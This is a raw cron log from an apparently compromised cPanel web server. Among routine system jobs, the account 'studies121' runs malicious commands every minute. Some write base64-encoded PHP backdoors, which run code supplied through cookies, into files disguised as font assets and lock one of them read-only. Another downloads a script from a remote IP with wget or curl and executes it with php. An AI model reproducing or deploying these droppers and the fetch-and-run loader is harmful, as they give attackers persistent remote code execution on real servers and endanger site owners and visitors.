Sep  3 19:28:01 ip-184-168-122-23 CROND[20712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:28:01 ip-184-168-122-23 CROND[20711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:28:01 ip-184-168-122-23 CROND[20713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:28:01 ip-184-168-122-23 CROND[20714]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:29:01 ip-184-168-122-23 CROND[20811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:29:01 ip-184-168-122-23 CROND[20813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:29:01 ip-184-168-122-23 CROND[20814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:29:01 ip-184-168-122-23 CROND[20816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:30:01 ip-184-168-122-23 CROND[20895]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 19:30:02 ip-184-168-122-23 CROND[20898]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:30:02 ip-184-168-122-23 CROND[20904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:30:02 ip-184-168-122-23 CROND[20902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:30:02 ip-184-168-122-23 CROND[20901]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:30:02 ip-184-168-122-23 CROND[20903]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:30:02 ip-184-168-122-23 CROND[20905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:30:02 ip-184-168-122-23 CROND[20906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:31:01 ip-184-168-122-23 CROND[21012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:31:01 ip-184-168-122-23 CROND[21015]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 19:31:01 ip-184-168-122-23 CROND[21014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:31:01 ip-184-168-122-23 CROND[21016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:31:01 ip-184-168-122-23 CROND[21017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:32:01 ip-184-168-122-23 CROND[21099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:32:01 ip-184-168-122-23 CROND[21102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:32:01 ip-184-168-122-23 CROND[21100]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:32:01 ip-184-168-122-23 CROND[21103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:32:01 ip-184-168-122-23 CROND[21104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:33:01 ip-184-168-122-23 CROND[21196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:33:01 ip-184-168-122-23 CROND[21198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:33:01 ip-184-168-122-23 CROND[21199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:33:01 ip-184-168-122-23 CROND[21200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:34:01 ip-184-168-122-23 CROND[21278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:34:01 ip-184-168-122-23 CROND[21280]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:34:01 ip-184-168-122-23 CROND[21282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:34:01 ip-184-168-122-23 CROND[21281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:34:01 ip-184-168-122-23 CROND[21283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:35:01 ip-184-168-122-23 CROND[21374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:35:01 ip-184-168-122-23 CROND[21376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:35:01 ip-184-168-122-23 CROND[21380]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 19:35:01 ip-184-168-122-23 CROND[21377]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:35:01 ip-184-168-122-23 CROND[21379]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 19:35:01 ip-184-168-122-23 CROND[21378]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:35:01 ip-184-168-122-23 CROND[21382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:35:01 ip-184-168-122-23 CROND[21381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:36:02 ip-184-168-122-23 CROND[21576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:36:02 ip-184-168-122-23 CROND[21578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:36:02 ip-184-168-122-23 CROND[21580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:36:02 ip-184-168-122-23 CROND[21579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:36:02 ip-184-168-122-23 CROND[21581]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:37:01 ip-184-168-122-23 CROND[21687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:37:01 ip-184-168-122-23 CROND[21690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:37:01 ip-184-168-122-23 CROND[21689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:37:01 ip-184-168-122-23 CROND[21691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:38:01 ip-184-168-122-23 CROND[21772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:38:01 ip-184-168-122-23 CROND[21774]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:38:01 ip-184-168-122-23 CROND[21775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:38:01 ip-184-168-122-23 CROND[21776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:38:01 ip-184-168-122-23 CROND[21777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:39:01 ip-184-168-122-23 CROND[21872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:39:01 ip-184-168-122-23 CROND[21873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:39:01 ip-184-168-122-23 CROND[21876]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 19:39:01 ip-184-168-122-23 CROND[21875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:39:01 ip-184-168-122-23 CROND[21878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:40:01 ip-184-168-122-23 CROND[21971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:40:01 ip-184-168-122-23 CROND[21972]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 19:40:01 ip-184-168-122-23 CROND[21978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:40:01 ip-184-168-122-23 CROND[21977]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
